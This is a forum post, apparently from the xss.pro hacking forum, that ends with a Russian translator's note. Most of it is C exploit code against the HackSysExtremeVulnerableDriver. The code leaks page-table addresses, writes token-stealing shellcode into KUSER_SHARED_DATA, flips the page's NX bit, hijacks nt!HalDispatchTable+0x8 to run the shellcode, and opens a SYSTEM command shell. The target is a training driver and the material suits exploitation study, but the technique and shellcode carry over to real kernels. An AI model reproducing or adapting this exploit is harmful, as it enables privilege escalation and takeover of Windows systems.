// Set the Name member of the "corrupted" object managed by the global array to obtain the base of the PTEs
DeviceIoControl(
driverHandle,
0x00222067,
&helperobjectArray[index],
sizeof(helperobjectArray[index]),
NULL,
NULL,
&bytesreturnedreadPrimtitve,
NULL
);

// Declare a variable that will receive the base of the PTEs
unsigned long long pteBase = 0x9090909090909090;

// Setting the Name member of the main object to the address of the pteBase variable
mainObject.Name = &pteBase;

// Perform the "Get" operation on the main object
DeviceIoControl(
driverHandle,
0x0022206b,
&mainObject,
sizeof(mainObject),
&mainObject,
sizeof(mainObject),
&bytesreturnedreadPrimtitve,
NULL
);

// Print update
printf("[+] Base of the page table entries: 0x%llx\n", pteBase);

// Calculate the PTE page for our shellcode in KUSER_SHARED_DATA
unsigned long long shellcodePte = 0xfffff78000000800 >> 9;
shellcodePte = shellcodePte & 0x7FFFFFFFF8;
shellcodePte = shellcodePte + pteBase;

// Print update
printf("[+] KUSER_SHARED_DATA+0x800 PTE page: 0x%llx\n", shellcodePte);

// Assign the target address to the corrupted object
helperobjectArray[index].Name = &shellcodePte;

// Set the Name member of the "corrupted" object managed by the global array to obtain the address of the shellcode PTE page
DeviceIoControl(
driverHandle,
0x00222067,
&helperobjectArray[index],
sizeof(helperobjectArray[index]),
NULL,
NULL,
&bytesreturnedreadPrimtitve,
NULL
);

// Declare a variable that will receive the PTE bits
unsigned long long pteBits = 0x9090909090909090;

// Setting the Name member of the main object
mainObject.Name = &pteBits;

// Perform the "Get" operation on the main object
DeviceIoControl(
driverHandle,
0x0022206b,
&mainObject,
sizeof(mainObject),
&mainObject,
sizeof(mainObject),
&bytesreturnedreadPrimtitve,
NULL
);

// Print update
printf("[+] PTE bits for shellcode page: %p\n", pteBits);

// Store nt!HalDispatchTable+0x8
unsigned long long halTemp = kernelBase + 0xc00a68;

// Assign the target address to the corrupted object
helperobjectArray[index].Name = &halTemp;

// Set the Name member of the "corrupted" object managed by the global array to obtain the pointer at nt!HalDispatchTable+0x8
DeviceIoControl(
driverHandle,
0x00222067,
&helperobjectArray[index],
sizeof(helperobjectArray[index]),
NULL,
NULL,
&bytesreturnedreadPrimtitve,
NULL
);

// Declare a variable that will receive [nt!HalDispatchTable+0x8]
unsigned long long halDispatch = 0x9090909090909090;

// Setting the Name member of the main object
mainObject.Name = &halDispatch;

// Perform the "Get" operation on the main object
DeviceIoControl(
driverHandle,
0x0022206b,
&mainObject,
sizeof(mainObject),
&mainObject,
sizeof(mainObject),
&bytesreturnedreadPrimtitve,
NULL
);

// Print update
printf("[+] Preserved [nt!HalDispatchTable+0x8] value: 0x%llx\n", halDispatch);

// Arbitrary write primitive

/*
        ; Windows 10 19H1 x64 Token Stealing Payload
        ; Author Connor McGarr
        [BITS 64]
        _start:
            mov rax, [gs:0x188]       ; Current thread (_KTHREAD)
            mov rax, [rax + 0xb8]     ; Current process (_EPROCESS)
            mov rbx, rax              ; Copy current process (_EPROCESS) to rbx
        __loop:
            mov rbx, [rbx + 0x448]    ; ActiveProcessLinks
            sub rbx, 0x448            ; Go back to current process (_EPROCESS)
            mov rcx, [rbx + 0x440]    ; UniqueProcessId (PID)
            cmp rcx, 4                ; Compare PID to SYSTEM PID
            jnz __loop                ; Loop until SYSTEM PID is found
            mov rcx, [rbx + 0x4b8]    ; SYSTEM token is @ offset _EPROCESS + 0x360
            and cl, 0xf0              ; Clear out _EX_FAST_REF RefCnt
            mov [rax + 0x4b8], rcx    ; Copy SYSTEM token to current process
            xor rax, rax              ; set NTSTATUS STATUS_SUCCESS
            ret                       ; Done!
    */

// Shellcode
unsigned long long shellcode[9] = { 0 };
shellcode[0] = 0x00018825048B4865;
shellcode[1] = 0x000000B8808B4800;
shellcode[2] = 0x04489B8B48C38948;
shellcode[3] = 0x000448EB81480000;
shellcode[4] = 0x000004408B8B4800;
shellcode[5] = 0x8B48E57504F98348;
shellcode[6] = 0xF0E180000004B88B;
shellcode[7] = 0x48000004B8888948;
shellcode[8] = 0x0000000000C3C031;

// Assign the target address to write to the corrupted object
unsigned long long kusersharedData = 0xfffff78000000800;

// Create a "counter" for writing the array of shellcode
int counter = 0;

// For loop to write the shellcode
for (int i = 0; i <= 9; i++)
{
// Setting the corrupted object to KUSER_SHARED_DATA+0x800 incrementally 9 times, since our shellcode is 9 QWORDS
// kusersharedData variable, managing the current address of KUSER_SHARED_DATA+0x800, is incremented by 0x8 at the end of each iteration of the loop
helperobjectArray[index].Name = &kusersharedData;

// Setting the Name member of the main object to specify what we would like to write
mainObject.Name = &shellcode[counter];

// Set the Name member of the "corrupted" object managed by the global array to KUSER_SHARED_DATA+0x800, incrementally
DeviceIoControl(
driverHandle,
0x00222067,
&helperobjectArray[index],
sizeof(helperobjectArray[index]),
NULL,
NULL,
&bytesreturnedreadPrimtitve,
NULL
);

// Perform the arbitrary write via "set" to overwrite each QWORD of KUSER_SHARED_DATA+0x800 until our shellcode is written
DeviceIoControl(
driverHandle,
0x00222067,
&mainObject,
sizeof(mainObject),
NULL,
NULL,
&bytesreturnedreadPrimtitve,
NULL
);

// Increase the counter
counter++;

// Increase the counter
kusersharedData += 0x8;
}

// Print update
printf("[+] Successfully wrote the shellcode to KUSER_SHARED_DATA+0x800!\n");

// Taint the PTE contents to corrupt the NX bit in KUSER_SHARED_DATA+0x800
unsigned long long taintedBits = pteBits & 0x0FFFFFFFFFFFFFFF;

// Print update
printf("[+] Tainted PTE contents: %p\n", taintedBits);

// Leverage the arbitrary write primitive to corrupt the PTE contents

// Setting the Name member of the corrupted object to specify where we would like to write
helperobjectArray[index].Name = &shellcodePte;

// Specify what we would like to write (the tainted PTE contents)
mainObject.Name = &taintedBits;

// Set the Name member of the "corrupted" object managed by the global array to KUSER_SHARED_DATA+0x800's PTE virtual address
DeviceIoControl(
driverHandle,
0x00222067,
&helperobjectArray[index],
sizeof(helperobjectArray[index]),
NULL,
NULL,
&bytesreturnedreadPrimtitve,
NULL
);

// Perform the arbitrary write
DeviceIoControl(
driverHandle,
0x00222067,
&mainObject,
sizeof(mainObject),
NULL,
NULL,
&bytesreturnedreadPrimtitve,
NULL
);

// Print update
printf("[+] Successfully corrupted the PTE of KUSER_SHARED_DATA+0x800! This region should now be marked as RWX!\n");

// Leverage the arbitrary write primitive to overwrite nt!HalDispatchTable+0x8

// Reset kusersharedData
kusersharedData = 0xfffff78000000800;

// Setting the Name member of the corrupted object to specify where we would like to write
helperobjectArray[index].Name = &halTemp;

// Specify where we would like to write (the address of KUSER_SHARED_DATA+0x800)
mainObject.Name = &kusersharedData;

// Set the Name member of the "corrupted" object managed by the global array to nt!HalDispatchTable+0x8
DeviceIoControl(
driverHandle,
0x00222067,
&helperobjectArray[index],
sizeof(helperobjectArray[index]),
NULL,
NULL,
&bytesreturnedreadPrimtitve,
NULL
);

// Perform the arbitrary write
DeviceIoControl(
driverHandle,
0x00222067,
&mainObject,
sizeof(mainObject),
NULL,
NULL,
&bytesreturnedreadPrimtitve,
NULL
);

// Print update
printf("[+] Successfully corrupted [nt!HalDispatchTable+0x8]!\n");

// Locating nt!NtQueryIntervalProfile
NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(
GetModuleHandle(
TEXT("ntdll.dll")),
"NtQueryIntervalProfile"
);

// Error handling
if (!NtQueryIntervalProfile)
{
printf("[-] Error! Unable to find ntdll!NtQueryIntervalProfile! Error: %d\n", GetLastError());
exit(1);
}

// Print update for found ntdll!NtQueryIntervalProfile
printf("[+] Located ntdll!NtQueryIntervalProfile at: 0x%llx\n", NtQueryIntervalProfile);

// Calling nt!NtQueryIntervalProfile
ULONG exploit = 0;
NtQueryIntervalProfile(
0x1234,
&exploit
);

// Print update
printf("[+] Successfully executed the shellcode!\n");

// Leverage arbitrary write for restoration purposes

// Setting the Name member of the corrupted object to specify where we would like to write
helperobjectArray[index].Name = &halTemp;

// Specify where we would like to write (the address of the preserved value at [nt!HalDispatchTable+0x8])
mainObject.Name = &halDispatch;

// Set the Name member of the "corrupted" object managed by the global array to nt!HalDispatchTable+0x8
DeviceIoControl(
driverHandle,
0x00222067,
&helperobjectArray[index],
sizeof(helperobjectArray[index]),
NULL,
NULL,
&bytesreturnedreadPrimtitve,
NULL
);

// Perform the arbitrary write
DeviceIoControl(
driverHandle,
0x00222067,
&mainObject,
sizeof(mainObject),
NULL,
NULL,
&bytesreturnedreadPrimtitve,
NULL
);

// Print update
printf("[+] Successfully restored [nt!HalDispatchTable+0x8]!\n");

// Print update for NT AUTHORITY\SYSTEM shell
printf("[+] Enjoy the NT AUTHORITY\\SYSTEM shell!\n");

// Spawning an NT AUTHORITY\SYSTEM shell
system("cmd.exe /c cmd.exe /K cd C:\\");
}

void main(void)
{
// Open a handle to the driver
printf("[+] Obtaining handle to HEVD.sys...\n");

HANDLE drvHandle = CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
0x0,
NULL,
OPEN_EXISTING,
0x0,
NULL
);

// Error handling
if (drvHandle == (HANDLE)-1)
{
printf("[-] Error! Unable to open a handle to the driver. Error: 0x%lx\n", GetLastError());
exit(-1);
}
else
{
readwritePrimitive(drvHandle);
}
}

От ТС
Эта статья является переводом, оригинал тут. А также породолжением вот этой статьи, перевод которой я уже сделал

Пускай я и потратил много времени на перевод, но я не мог обойти стороной такой подробный материал по эксплуатации пула Windows

Перевод:
Azrv3l cпециально для xss.pro
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх